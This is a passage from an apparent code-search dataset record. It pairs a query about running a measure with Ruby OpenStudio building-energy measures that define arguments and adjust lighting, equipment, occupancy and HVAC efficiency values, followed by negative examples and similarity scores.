Temperature (F)\")\n\t\tboiler_hw_st.setDefaultValue(120)\t\n\t\targs << boiler_hw_st\n\t\t\n\t\t# DOAS Fan Type\n\t\tdoas_fan_choices = OpenStudio::StringVector.new\n\t\tdoas_fan_choices << \"Constant\"\n\t\tdoas_fan_choices << \"Variable\"\n\t\tdoas_fan_type = OpenStudio::Ruleset::OSArgument::makeChoiceArgument(\"doas_fan_type\",doas_fan_choices,true)\n\t\tdoas_fan_type.setDisplayName(\"DOAS Fan Flow Control - Variable means DCV controls\")\n\t\tdoas_fan_type.setDefaultValue(\"Variable\")\n\t\targs << doas_fan_type\n\t\t\n\t\t# DOAS Energy Recovery\n\t\terv_choices = OpenStudio::StringVector.new\n\t\terv_choices << \"plate w/o economizer lockout\"\n\t\terv_choices << \"plate w/ economizer lockout\"\n\t\terv_choices << \"rotary wheel w/o economizer lockout\"\n\t\terv_choices << \"rotary wheel w/ economizer lockout\"\n\t\terv_choices << \"none\"\n\t\tdoas_erv = OpenStudio::Ruleset::OSArgument::makeChoiceArgument(\"doas_erv\",erv_choices,true)\n\t\tdoas_erv.setDisplayName(\"DOAS Energy Recovery?\")\n\t\tdoas_erv.setDefaultValue(\"none\")\n\t\targs << doas_erv\n\t\t\n\t\t# DOAS Evaporative Cooling\n\t\tevap_choices = OpenStudio::StringVector.new\n\t\tevap_choices << \"Direct Evaporative Cooler\"\n\t\tevap_choices << \"none\"\n\t\tdoas_evap = OpenStudio::Ruleset::OSArgument::makeChoiceArgument(\"doas_evap\",evap_choices,true)\n\t\tdoas_evap.setDisplayName(\"DOAS Direct Evaporative Cooling?\")\n\t\tdoas_evap.setDefaultValue(\"none\")\n\t\targs << doas_evap\n\t\t\n\t\t# DOAS DX Cooling\n\t\tdoas_dx_eer = OpenStudio::Ruleset::OSArgument::makeDoubleArgument(\"doas_dx_eer\",false)\n\t\tdoas_dx_eer.setDisplayName(\"DOAS DX Cooling EER\")\n\t\tdoas_dx_eer.setDefaultValue(10.0)\n\t\targs << doas_dx_eer\n\t\n # make an argument for material and installation cost\n # todo - I would like to split the costing out to the air loops weighted by area of building served vs. just sticking it on the building\n cost_total_hvac_system = OpenStudio::Ruleset::OSArgument::makeDoubleArgument(\"cost_total_hvac_system\",true)\n cost_total_hvac_system.setDisplayName(\"Total Cost for HVAC System ($).\")\n cost_total_hvac_system.setDefaultValue(0.0)\n args << cost_total_hvac_system\n \n #make an argument to remove existing costs\n remake_schedules = OpenStudio::Ruleset::OSArgument::makeBoolArgument(\"remake_schedules\",true)\n remake_schedules.setDisplayName(\"Apply recommended availability and ventilation schedules for air handlers?\")\n remake_schedules.setDefaultValue(true)\n args << remake_schedules\n\n return args\n end",
"def arguments()\r\n args = OpenStudio::Ruleset::OSArgumentVector.new\r\n\r\n # the name of the sql file\r\n csv_name = OpenStudio::Ruleset::OSArgument.makeStringArgument(\"csv_name\", true)\r\n csv_name.setDisplayName(\"CSV file name\")\r\n csv_name.setDescription(\"CSV file name.\")\r\n csv_name.setDefaultValue(\"mtr.csv\")\r\n args << csv_name\r\n \r\n csv_time_header = OpenStudio::Ruleset::OSArgument.makeStringArgument(\"csv_time_header\", true)\r\n csv_time_header.setDisplayName(\"CSV Time Header\")\r\n csv_time_header.setDescription(\"CSV Time Header Value.\")\r\n csv_time_header.setDefaultValue(\"Date/Time\")\r\n args << csv_time_header\r\n \r\n csv_var = OpenStudio::Ruleset::OSArgument.makeStringArgument(\"csv_var\", true)\r\n csv_var.setDisplayName(\"CSV variable name\")\r\n csv_var.setDescription(\"CSV variable name\")\r\n csv_var.setDefaultValue(\"Whole Building:Facility Total Electric Demand Power [W](TimeStep)\")\r\n args << csv_var\r\n \r\n csv_var_dn = OpenStudio::Ruleset::OSArgument.makeStringArgument(\"csv_var_dn\", true)\r\n csv_var_dn.setDisplayName(\"CSV variable display name\")\r\n csv_var_dn.setDescription(\"CSV variable display name\")\r\n csv_var_dn.setDefaultValue(\"\")\r\n args << csv_var_dn\r\n \r\n years = OpenStudio::Ruleset::OSArgument.makeBoolArgument(\"year\", true)\r\n years.setDisplayName(\"Year in csv data\")\r\n years.setDescription(\"Year in csv data => mm:dd:yy or mm:dd\")\r\n years.setDefaultValue(true)\r\n args << years\r\n \r\n seconds = OpenStudio::Ruleset::OSArgument.makeBoolArgument(\"seconds\", true)\r\n seconds.setDisplayName(\"Seconds in csv data\")\r\n seconds.setDescription(\"Seconds in csv data => hh:mm:ss or hh:mm\")\r\n seconds.setDefaultValue(true)\r\n args << seconds\r\n \r\n sql_key = OpenStudio::Ruleset::OSArgument.makeStringArgument(\"sql_key\", true)\r\n sql_key.setDisplayName(\"SQL key\")\r\n sql_key.setDescription(\"SQL key\")\r\n sql_key.setDefaultValue(\"\")\r\n args << sql_key \r\n\r\n sql_var = OpenStudio::Ruleset::OSArgument.makeStringArgument(\"sql_var\", true)\r\n sql_var.setDisplayName(\"SQL var\")\r\n sql_var.setDescription(\"SQL var\")\r\n sql_var.setDefaultValue(\"Facility Total Electric Demand Power\")\r\n args << sql_var \r\n \r\n stp = OpenStudio::Ruleset::OSArgument.makeStringArgument(\"stp\", true)\r\n stp.setDisplayName(\"Timeseries Timestep\")\r\n stp.setDescription(\"Timeseries Timestep\")\r\n stp.setDefaultValue(\"Zone Timestep\")\r\n args << stp\r\n \r\n env = OpenStudio::Ruleset::OSArgument.makeStringArgument(\"env\", true)\r\n env.setDisplayName(\"availableEnvPeriods\")\r\n env.setDescription(\"availableEnvPeriods\")\r\n env.setDefaultValue(\"RUN PERIOD 1\")\r\n args << env\r\n \r\n norm = OpenStudio::Ruleset::OSArgument.makeDoubleArgument(\"norm\", true)\r\n norm.setDisplayName(\"norm of the difference of csv and sql\")\r\n norm.setDescription(\"norm of the difference of csv and sql\")\r\n norm.setDefaultValue(1)\r\n args << norm \r\n\r\n scale = OpenStudio::Ruleset::OSArgument.makeDoubleArgument(\"scale\", true)\r\n scale.setDisplayName(\"scale factor to apply to the difference\")\r\n scale.setDescription(\"scale factor to apply to the difference\")\r\n scale.setDefaultValue(1)\r\n args << scale \r\n\r\n find_avail = OpenStudio::Ruleset::OSArgument.makeBoolArgument(\"find_avail\", true)\r\n find_avail.setDisplayName(\"find_avail\")\r\n find_avail.setDescription(\"find_avail\")\r\n find_avail.setDefaultValue(true)\r\n args << find_avail \r\n\r\n compute_diff = OpenStudio::Ruleset::OSArgument.makeBoolArgument(\"compute_diff\", true)\r\n compute_diff.setDisplayName(\"compute_diff\")\r\n compute_diff.setDescription(\"compute_diff\")\r\n compute_diff.setDefaultValue(true)\r\n args << compute_diff\r\n \r\n verbose_messages = OpenStudio::Ruleset::OSArgument.makeBoolArgument(\"verbose_messages\", true)\r\n verbose_messages.setDisplayName(\"verbose_messages\")\r\n verbose_messages.setDescription(\"verbose_messages\")\r\n verbose_messages.setDefaultValue(true)\r\n args << verbose_messages \r\n \r\n algorithm_download = OpenStudio::Ruleset::OSArgument.makeBoolArgument(\"algorithm_download\", true)\r\n algorithm_download.setDisplayName(\"algorithm_download\")\r\n algorithm_download.setDescription(\"algorithm_download\")\r\n algorithm_download.setDefaultValue(false)\r\n args << algorithm_download \r\n \r\n plot_flag = OpenStudio::Ruleset::OSArgument.makeBoolArgument(\"plot_flag\", true)\r\n plot_flag.setDisplayName(\"plot_flag timeseries data\")\r\n plot_flag.setDescription(\"plot_flag timeseries data\")\r\n plot_flag.setDefaultValue(true)\r\n args << plot_flag\r\n \r\n plot_name = OpenStudio::Ruleset::OSArgument.makeStringArgument(\"plot_name\", true)\r\n plot_name.setDisplayName(\"Plot name\")\r\n plot_name.setDescription(\"Plot name\")\r\n plot_name.setDefaultValue(\"\")\r\n args << plot_name\r\n \r\n warning_messages = OpenStudio::Ruleset::OSArgument.makeBoolArgument(\"warning_messages\", true)\r\n warning_messages.setDisplayName(\"warning_messages\")\r\n warning_messages.setDescription(\"warning_messages\")\r\n warning_messages.setDefaultValue(false)\r\n args << warning_messages\r\n\r\n return args\r\n end",
"def arguments(model)\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n # the name of the space to add to the model\n setpoint = OpenStudio::Ruleset::OSArgument.makeDoubleArgument(\"setpoint_temperature\", true)\n setpoint.setUnits(\"Degrees Celsius\")\n setpoint.setDisplayName(\"Ambient Loop Temperature\")\n setpoint.setDefaultValue(20)\n setpoint.setDescription(\"Temperature setpoint for the ambient loop\")\n args << setpoint\n\n delta = OpenStudio::Ruleset::OSArgument.makeDoubleArgument(\"design_delta\", true)\n delta.setUnits(\"Delta Temperature\")\n delta.setDefaultValue(5.55) # 10 Deg F default delta\n delta.setDisplayName(\"Delta Design Loop Temperature\")\n delta.setDescription(\"Delta design temperature for the ambient loop\")\n args << delta\n\n return args\n end",
"def arguments\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n return args\n end",
"def print_two_again(arg1, arg2) # Non-variable list of inputs it will accept\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend",
"def commander _args\n \"commander _args;\" \n end",
"def arguments(model)\n args = OpenStudio::Measure::OSArgumentVector.new\n\n # make a string argument for furnace fuel type\n fuel_display_names = OpenStudio::StringVector.new\n fuel_display_names << Constants.FuelTypeGas\n fuel_display_names << Constants.FuelTypeOil\n fuel_display_names << Constants.FuelTypePropane\n fuel_display_names << Constants.FuelTypeElectric\n fuel_type = OpenStudio::Measure::OSArgument::makeChoiceArgument('fuel_type', fuel_display_names, true)\n fuel_type.setDisplayName('Fuel Type')\n fuel_type.setDescription('Type of fuel used for heating.')\n fuel_type.setDefaultValue(Constants.FuelTypeGas)\n args << fuel_type\n\n # make an argument for entering furnace installed afue\n afue = OpenStudio::Measure::OSArgument::makeDoubleArgument('afue', true)\n afue.setDisplayName('Installed AFUE')\n afue.setUnits('Btu/Btu')\n afue.setDescription('The installed Annual Fuel Utilization Efficiency (AFUE) of the furnace, which can be used to account for performance derating or degradation relative to the rated value.')\n afue.setDefaultValue(0.78)\n args << afue\n\n # make an argument for entering furnace installed supply fan power\n fan_power_installed = OpenStudio::Measure::OSArgument::makeDoubleArgument('fan_power_installed', true)\n fan_power_installed.setDisplayName('Installed Supply Fan Power')\n fan_power_installed.setUnits('W/cfm')\n fan_power_installed.setDescription('Fan power (in W) per delivered airflow rate (in cfm) of the indoor fan for the maximum fan speed under actual operating conditions.')\n fan_power_installed.setDefaultValue(0.5)\n args << fan_power_installed\n\n # make a string argument for furnace heating output capacity\n capacity = OpenStudio::Measure::OSArgument::makeStringArgument('capacity', true)\n capacity.setDisplayName('Heating Capacity')\n capacity.setDescription(\"The output heating capacity of the furnace. If using '#{Constants.SizingAuto}', the autosizing algorithm will use ACCA Manual S to set the capacity.\")\n capacity.setUnits('kBtu/hr')\n capacity.setDefaultValue(Constants.SizingAuto)\n args << capacity\n\n # make a string argument for distribution system efficiency\n dse = OpenStudio::Measure::OSArgument::makeStringArgument('dse', true)\n dse.setDisplayName('Distribution System Efficiency')\n dse.setDescription('Defines the energy losses associated with the delivery of energy from the equipment to the source of the load.')\n dse.setDefaultValue('NA')\n args << dse\n\n # make a bool argument for open hvac flue\n has_hvac_flue = OpenStudio::Measure::OSArgument::makeBoolArgument('has_hvac_flue', true)\n has_hvac_flue.setDisplayName('Air Leakage: Has Open HVAC Flue')\n has_hvac_flue.setDescription('Specifies whether the building has an open flue associated with the HVAC system.')\n has_hvac_flue.setDefaultValue(true)\n args << has_hvac_flue\n\n return args\n end",
"def args\n @args\n end",
"def default_args(a,b,c=1)\n puts \"\\nValues of variables: \",a,b,c\nend",
"def arguments\n args = OpenStudio::Measure::OSArgumentVector.new\n\n return args\n end",
"def arguments(model)\n args = OpenStudio::Measure::OSArgumentVector.new\n \n \t#Make a string argument for 24 weekday cooling set point values\n clg_wkdy = OpenStudio::Measure::OSArgument::makeStringArgument(\"clg_wkdy\", false)\n clg_wkdy.setDisplayName(\"Weekday Setpoint\")\n clg_wkdy.setDescription(\"Specify a single cooling setpoint or a 24-hour comma-separated cooling schedule for the weekdays.\")\n clg_wkdy.setUnits(\"degrees F\")\n clg_wkdy.setDefaultValue(\"76\")\n args << clg_wkdy \n \n \t#Make a string argument for 24 weekend cooling set point values\n clg_wked = OpenStudio::Measure::OSArgument::makeStringArgument(\"clg_wked\", false)\n clg_wked.setDisplayName(\"Weekend Setpoint\")\n clg_wked.setDescription(\"Specify a single cooling setpoint or a 24-hour comma-separated cooling schedule for the weekend.\")\n clg_wked.setUnits(\"degrees F\")\n clg_wked.setDefaultValue(\"76\")\n args << clg_wked\t\n\t\n return args\n end",
"def arguments\n args = OpenStudio::Measure::OSArgumentVector.new\n # this measure does not require any user arguments, return an empty list\n return args\n end"
] |
[
"0.73748195",
"0.73748195",
"0.73748195",
"0.7087363",
"0.7008232",
"0.7008232",
"0.7008232",
"0.7008232",
"0.7008232",
"0.7008232",
"0.7008232",
"0.7008232",
"0.7008232",
"0.7008232",
"0.7008232",
"0.7008232",
"0.7008232",
"0.7008232",
"0.7008232",
"0.7008232",
"0.7008232",
"0.7008232",
"0.7008232",
"0.7008232",
"0.682961",
"0.6826167",
"0.6759192",
"0.6747159",
"0.6589147",
"0.6579065",
"0.65786225",
"0.6544587",
"0.6501246",
"0.64746875",
"0.64696026",
"0.64695764",
"0.6468071",
"0.64624786",
"0.6409045",
"0.6388565",
"0.6377955",
"0.6372687",
"0.6372046",
"0.63623196",
"0.63580847",
"0.634898",
"0.63470536",
"0.6346329",
"0.6328366",
"0.6327314",
"0.6293709",
"0.6288431",
"0.6271303",
"0.6256699",
"0.62562937",
"0.6239551",
"0.62357897",
"0.62354136",
"0.62218416",
"0.62218416",
"0.62218416",
"0.6203231",
"0.6194215",
"0.6180256",
"0.61709577",
"0.6168221",
"0.6167057",
"0.6164105",
"0.61599123",
"0.61444277",
"0.612839",
"0.6116114",
"0.6098567",
"0.608949",
"0.60889053",
"0.60807997",
"0.6075578",
"0.60739285",
"0.60689557",
"0.60689074",
"0.60529596",
"0.6047003",
"0.6036175",
"0.6036175",
"0.60353076",
"0.6028083",
"0.6026514",
"0.60262996",
"0.602028",
"0.60061544",
"0.6004837",
"0.5999588",
"0.5995959",
"0.59910905",
"0.5985314",
"0.5982308",
"0.5973571",
"0.5967936",
"0.59673434",
"0.5966534",
"0.5957761"
] |
0.0
|
-1
|
define what happens when the measure is run
|
def run(model, runner, user_arguments)
super(model, runner, user_arguments)
# use the built-in error checking
unless runner.validateUserArguments(arguments(model), user_arguments)
return false
end
template = runner.getStringArgumentValue("template",user_arguments)
bldg_type = runner.getStringArgumentValue("bldg_type",user_arguments)
lpd_change_rate = @@calibrate_factors[template][bldg_type]['lpd_change_rate']
epd_change_rate = @@calibrate_factors[template][bldg_type]['epd_change_rate']
occupancy_change_rate = @@calibrate_factors[template][bldg_type]['occupancy_change_rate']
cop_change_rate = @@calibrate_factors[template][bldg_type]['cop_change_rate']
heating_efficiency_change_rate = @@calibrate_factors[template][bldg_type]['heating_efficiency_change_rate']
#report initial condition
building = model.getBuilding
initial_lpd = building.lightingPowerPerFloorArea # W/m^2
initial_epd = building.electricEquipmentPowerPerFloorArea # W/m^2
initial_occupancy = building.peoplePerFloorArea # people/m^2
runner.registerValue('lpd_change_rate', lpd_change_rate.to_s)
runner.registerValue('epd_change_rate', epd_change_rate.to_s)
runner.registerValue('occupancy_change_rate', occupancy_change_rate.to_s)
runner.registerValue('cop_change_rate', cop_change_rate.to_s)
runner.registerValue('heating_efficiency_change_rate', heating_efficiency_change_rate.to_s)
runner.registerValue('initial_lpd', initial_lpd.round(3).to_s)
runner.registerValue('initial_epd', initial_epd.round(3).to_s)
runner.registerValue('initial_occupancy', initial_occupancy.round(3).to_s)
space_types = model.getSpaceTypes
# loop through space types
space_types.each do |space_type|
# Update lighting power density
space_type.lights.each do |light|
light_def = light.lightsDefinition
unless light_def.lightingLevel.empty?
light_def.setLightingLevel((1 + lpd_change_rate) * light_def.lightingLevel.get)
end
unless light_def.wattsperSpaceFloorArea .empty?
light_def.setWattsperSpaceFloorArea((1 + lpd_change_rate) * light_def.wattsperSpaceFloorArea.get)
end
unless light_def.wattsperPerson.empty?
light_def.setWattsperPerson((1 + lpd_change_rate) * light_def.wattsperPerson.get)
end
end
# Update the equipment power density
space_type.electricEquipment .each do |equip|
equip_def = equip.electricEquipmentDefinition
unless equip_def.designLevel.empty?
equip_def.setDesignLevel((1 + epd_change_rate) * equip_def.designLevel.get)
end
unless equip_def.wattsperSpaceFloorArea .empty?
equip_def.setWattsperSpaceFloorArea((1 + epd_change_rate) * equip_def.wattsperSpaceFloorArea.get)
end
unless equip_def.wattsperPerson.empty?
equip_def.setWattsperPerson((1 + epd_change_rate) * equip_def.wattsperPerson.get)
end
end
# Update the occupancy density
space_type.people.each do |people|
people_def = people.peopleDefinition
unless people_def.numberofPeople.empty?
people_def.setNumberofPeople((1 + occupancy_change_rate) * people_def.numberofPeople.get)
end
unless people_def.peopleperSpaceFloorArea.empty?
people_def.setPeopleperSpaceFloorArea((1 + occupancy_change_rate) * people_def.peopleperSpaceFloorArea.get)
end
unless people_def.spaceFloorAreaperPerson.empty?
people_def.setSpaceFloorAreaperPerson(people_def.spaceFloorAreaperPerson.get/(1 + occupancy_change_rate))
end
end
end
# Update HVAC systems
air_loops = model.getAirLoopHVACs
plant_loops = model.getPlantLoops
initial_cop_value = nil
after_cop_value = nil
double_after_cop = nil
initial_eff_value = nil
after_eff_value = nil
# loop through air loops
air_loops.each do |air_loop|
find_cooling = false
find_heating = false
# find single speed dx units on loop
air_loop.supplyComponents.each do |supply_component|
hvac_component = supply_component.to_CoilCoolingDXSingleSpeed
unless hvac_component.empty?
hvac_component = hvac_component.get
# change and report high speed cop
initial_cop = hvac_component.ratedCOP
if initial_cop.empty?
raise "Fail to find the Rated COP for single speed dx unit '#{hvac_component.name}' on air loop '#{air_loop.name}'"
else
initial_cop_value = initial_cop.get
after_cop_value = initial_cop_value * (1 + cop_change_rate)
double_after_cop = OpenStudio::OptionalDouble.new(after_cop_value)
hvac_component.setRatedCOP(after_cop_value)
find_cooling = true
raise "Fail to find the cooling system for air lop '#{air_loop.name}'" unless find_cooling
end
end
hvac_component = supply_component.to_CoilCoolingDXTwoSpeed
unless hvac_component.empty?
hvac_component = hvac_component.get
# change and report high speed cop
initial_cop = hvac_component.ratedHighSpeedCOP
if initial_cop.empty?
raise "Fail to find the Rated High Speed COP for two speed dx unit '#{hvac_component.name}' on air loop '#{air_loop.name}'"
else
initial_cop_value = initial_cop.get
after_cop_value = initial_cop_value * (1 + cop_change_rate)
double_after_cop = OpenStudio::OptionalDouble.new(after_cop_value)
hvac_component.setRatedHighSpeedCOP(after_cop_value)
end
# change and report low speed cop
initial_cop = hvac_component.ratedLowSpeedCOP
if initial_cop.empty?
raise "Fail to find the Rated Low Speed COP for two speed dx unit '#{hvac_component.name}' on air loop '#{air_loop.name}'"
else
initial_cop_value = initial_cop.get
after_cop_value = initial_cop_value * (1 + cop_change_rate)
double_after_cop = OpenStudio::OptionalDouble.new(after_cop_value)
hvac_component.setRatedLowSpeedCOP(after_cop_value)
end
find_cooling = true
raise "Fail to find the cooling system for air lop '#{air_loop.name}'" unless find_cooling
end
hvac_component = supply_component.to_CoilHeatingGas
unless hvac_component.empty?
hvac_component = hvac_component.get
initial_eff_value = hvac_component.gasBurnerEfficiency
after_eff_value = initial_eff_value * (1 + heating_efficiency_change_rate)
# check for reasonableness
if after_eff_value <= 0 or after_eff_value > 0.99
raise "Wrong after heating efficiency found: initial (#{initial_eff_value}), change rate (#{heating_efficiency_change_rate}), after (#{after_eff_value})."
end
hvac_component.setGasBurnerEfficiency(after_eff_value)
find_heating = true
raise "Fail to find the heating system for air lop '#{air_loop.name}'" unless find_heating
end
end
end
# loop through plant loops
plant_loops.each do |plant_loop|
find_heating = false
# find boiler on plat loop
plant_loop.supplyComponents.each do |supply_component|
hvac_component = supply_component.to_BoilerHotWater
unless hvac_component.empty?
hvac_component = hvac_component.get
initial_eff_value = hvac_component.nominalThermalEfficiency
after_eff_value = initial_eff_value * (1 + heating_efficiency_change_rate)
# check for reasonableness
if after_eff_value <= 0 or after_eff_value > 0.99
raise "Wrong after heating efficiency found: initial (#{initial_eff_value}), change rate (#{heating_efficiency_change_rate}), after (#{after_eff_value})."
end
hvac_component.setNominalThermalEfficiency(after_eff_value)
find_heating = true
raise "Fail to find the heating system for air lop '#{air_loop.name}'" unless find_heating
end
end
end
runner.registerValue('initial_cop', initial_cop_value.round(3).to_s)
runner.registerValue('after_cop', after_cop_value.round(3).to_s)
runner.registerValue('initial_eff', initial_eff_value.round(3).to_s)
runner.registerValue('after_eff', after_eff_value.round(3).to_s)
# report final condition
after_lpd = building.lightingPowerPerFloorArea
after_epd = building.electricEquipmentPowerPerFloorArea
after_occupancy = building.peoplePerFloorArea # people/m^2
runner.registerValue('after_lpd', after_lpd.round(3).to_s)
runner.registerValue('after_epd', after_epd.round(3).to_s)
runner.registerValue('after_occupancy', after_occupancy.round(3).to_s)
return true
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def measure; end",
"def measure=(_arg0); end",
"def measure\n\t\t1\n\tend",
"def measure(*args, &b)\n end",
"def communicate_measure_result(_ = nil, _ = nil); end",
"def communicate_measure_result(_ = nil, _ = nil); end",
"def called\n self.measurement.called\n end",
"def measure\n start = Time.now\n yield\n Time.now - start\n end",
"def measure\n start = Time.now\n yield\n Time.now - start\n end",
"def measure\n Measure.new(1, self)\n end",
"def measurement(n)\n @options[:before_hook].call(n)\n measure = measure(n, &@options[:fn])\n @options[:after_hook].call(n)\n measure\n end",
"def measure\n Measure.new(@counter+=1)\n end",
"def communicate_measure_result(_ = nil, _ = nil)\r\n end",
"def benchmark\nend",
"def calculated; end",
"def setup_metrics\n end",
"def setup_metrics\n end",
"def setup_metrics\n end",
"def run()\n\t\tputs \"#{@name} ran for #{@meters} meters in #{self.getTimeLapse} seconds\"\n\t\t# chiama funzione per stampare quante volte ha respirato\n\t\tself.breathe\n\tend",
"def runs; end",
"def statistics; end",
"def medical_use; end",
"def measure\n start_real = System.monotonic_time\n start_cpu = System.cpu_time\n retval = yield\n\n real_time = System.monotonic_time - start_real\n cpu_time = System.cpu_time - start_cpu\n\n @real_time += real_time\n @cpu_time += cpu_time\n @call_count += 1\n\n if call_measurement_enabled? && above_threshold?\n self.class.call_duration_histogram.observe(@transaction.labels.merge(labels), real_time / 1000.0)\n end\n\n retval\n end",
"def stats; end",
"def stats; end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # Return N/A if not selected to run\n run_measure = runner.getIntegerArgumentValue(\"run_measure\",user_arguments)\n if run_measure == 0\n runner.registerAsNotApplicable(\"Run Measure set to #{run_measure}.\")\n return true \n end \n \n\n percent_runtime_reduction = runner.getDoubleArgumentValue(\"percent_runtime_reduction\",user_arguments)\n\n \n \n # Check arguments for reasonableness\n if percent_runtime_reduction >= 100\n runner.registerError(\"Percent runtime reduction must be less than 100.\")\n return false\n end\n\n # Find all the original schedules (before occ sensors installed)\n original_lts_schedules = []\n model.getLightss.each do |light_fixture|\n if light_fixture.schedule.is_initialized\n original_lts_schedules << light_fixture.schedule.get\n end\n end \n\n # Make copies of all the original lights schedules, reduced to include occ sensor impact\n original_schs_new_schs = {}\n original_lts_schedules.uniq.each do |orig_sch|\n # Copy the original schedule\n new_sch = orig_sch.clone.to_ScheduleRuleset.get\n new_sch.setName(\"#{new_sch.name.get} with occ sensor\")\n # Reduce each value in each profile (except the design days) by the specified amount\n runner.registerInfo(\"Reducing values in '#{orig_sch.name}' schedule by #{percent_runtime_reduction}% to represent occ sensor installation.\")\n day_profiles = []\n day_profiles << new_sch.defaultDaySchedule\n new_sch.scheduleRules.each do |rule|\n day_profiles << rule.daySchedule\n end\n multiplier = (100 - percent_runtime_reduction)/100\n day_profiles.each do |day_profile|\n #runner.registerInfo(\"#{day_profile.name}\")\n times_vals = day_profile.times.zip(day_profile.values)\n #runner.registerInfo(\"original time/values = #{times_vals}\")\n times_vals.each do |time,val|\n day_profile.addValue(time, val * multiplier)\n end\n #runner.registerInfo(\"new time/values = #{day_profile.times.zip(day_profile.values)}\")\n end \n #log the relationship between the old sch and the new, reduced sch\n original_schs_new_schs[orig_sch] = new_sch\n end\n \n # Replace the old schedules with the new, reduced schedules\n spaces_sensors_added_to = []\n model.getLightss.each do |light_fixture|\n next if light_fixture.schedule.empty?\n lights_sch = light_fixture.schedule.get\n new_sch = original_schs_new_schs[lights_sch]\n if new_sch\n runner.registerInfo(\"Added occupancy sensor for '#{light_fixture.name}'\")\n light_fixture.setSchedule(new_sch)\n spaces_sensors_added_to << light_fixture.space\n end\n end\n \n # Report if the measure is not applicable\n num_sensors_added = spaces_sensors_added_to.uniq.size\n if spaces_sensors_added_to.size == 0\n runner.registerAsNotApplicable(\"This measure is not applicable because there were no lights in the building.\")\n return true\n end \n \n # Report final condition\n runner.registerFinalCondition(\"Added occupancy sensors to #{num_sensors_added} spaces in the building.\")\n\n return true\n\n end",
"def run\n\t\t\tsummary\n\t\tend",
"def quick_stats\n\tend",
"def stats\n \n end",
"def benchmark(reporter); end",
"def stats\n end",
"def stats\n end",
"def measure(name, &block)\n if self.running? name\n yield\n else\n result = nil\n self.results[name] ||= 0\n self.running << name\n self.results[name] += Benchmark.measure{result = yield}.real\n self.running.delete(name)\n result\n end\n end",
"def measure\n start_real = System.monotonic_time\n start_cpu = System.cpu_time\n retval = yield\n\n real_time = System.monotonic_time - start_real\n cpu_time = System.cpu_time - start_cpu\n\n @real_time += real_time\n @cpu_time += cpu_time\n @call_count += 1\n\n if above_threshold?\n self.class.gitlab_method_call_duration_seconds.observe(@transaction.labels.merge(labels), real_time)\n end\n\n retval\n end",
"def measure_code(model,runner)\n measure_folder = \"#{File.dirname(__FILE__)}/\"\n baseline_spreadsheet = \"#{File.dirname(__FILE__)}/baseline.csv\"\n #Note: place output folder locally to run faster! (e.g. your C drive)\n output_folder = \"#{File.dirname(__FILE__)}/tests/output\"\n create_models = true\n simulate_models = true\n create_annual_outputs = true\n create_hourly_outputs = true\n #This creates the measures object and collects all the csv information for the\n # measure_id variant.\n csv_measures = BTAP::Measures::CSV_OS_Measures.new(\n baseline_spreadsheet,\n measure_folder#script root folder where all the csv relative paths are used.\n )\n csv_measures.create_cold_lake_vintages(output_folder) unless create_models == false\n BTAP::SimManager::simulate_all_files_in_folder(output_folder) unless simulate_models == false\n BTAP::Reporting::get_all_annual_results_from_runmanger(output_folder) unless create_annual_outputs == false\n #convert eso to csv then create terminus file.\n BTAP::FileIO::convert_all_eso_to_csv(output_folder, output_folder).each {|csvfile| BTAP::FileIO::terminus_hourly_output(csvfile)} unless create_hourly_outputs == false\n\n end",
"def cpu_metrics\n super\n end",
"def instrument; end",
"def profiler; end",
"def profiler; end",
"def setup\n\t\n # create an instance of the measure\n @measure = VentilationQAQC.new\n \n #create an instance of the runner\n @runner = OpenStudio::Ruleset::OSRunner.new\t\n\t\n # get arguments \n @arguments = @measure.arguments()\n\n # make argument map\n make_argument_map\n\t\n # Make an empty model\n @model = OpenStudio::Model::Model.new\n\t@runner.setLastOpenStudioModel(@model)\n\t\n\t# Create a fake sql file - our measure will crash if @runner has no sql file set.\n\t# We don't get data from this file because we get data from our patched SqlFile class instead (see above)\n\tsqlFile = OpenStudio::SqlFile.new(OpenStudio::Path.new(sqlPath))\n\t@runner.setLastEnergyPlusSqlFilePath(OpenStudio::Path.new(sqlPath))\n\t\n\t$serieses[\"Zone Mechanical Ventilation Mass Flow Rate|ZONE1\"] = OpenStudio::TimeSeries.new(OpenStudio::Date.new, OpenStudio::Time.new(1.0), (0..364).to_a.to_vector, \"m^3/s\")\n end",
"def monitor(*args, &bl)\n result = nil\n took = Benchmark.realtime {\n result = bl.call\n }\n Tools.info(args, op_took: took)\n result\n end",
"def measure_code(model,runner)\n ################ Start Measure code here ################################\n \n #Check weather directory Weather File\n unless (Pathname.new @lib_directory).absolute?\n @lib_directory = File.expand_path(File.join(File.dirname(__FILE__), @lib_directory))\n end\n lib_file = File.join(@lib_directory, @lib_file_name)\n if File.exists?(lib_file) and @lib_file_name.downcase.include? \".osm\"\n BTAP::runner_register(\"Info\",\"#{@lib_file_name} Found!.\", runner)\n else\n BTAP::runner_register(\"Error\",\"#{lib_file} does not exist or is not an .osm file.\", runner)\n return false\n end\n \n #load model and test.\n construction_set = BTAP::Resources::Envelope::ConstructionSets::get_construction_set_from_library( lib_file, @construction_set_name )\n #Set Construction Set.\n unless model.building.get.setDefaultConstructionSet( construction_set.clone( model ).to_DefaultConstructionSet.get )\n BTAP::runner_register(\"Error\",\"Could not set Default Construction #{@construction_set_name} \", runner)\n return false\n end\n BTAP::runner_register(\"FinalCondition\",\"Default Construction set to #{@construction_set_name} from #{lib_file}\",runner)\n ##########################################################################\n return true\n end",
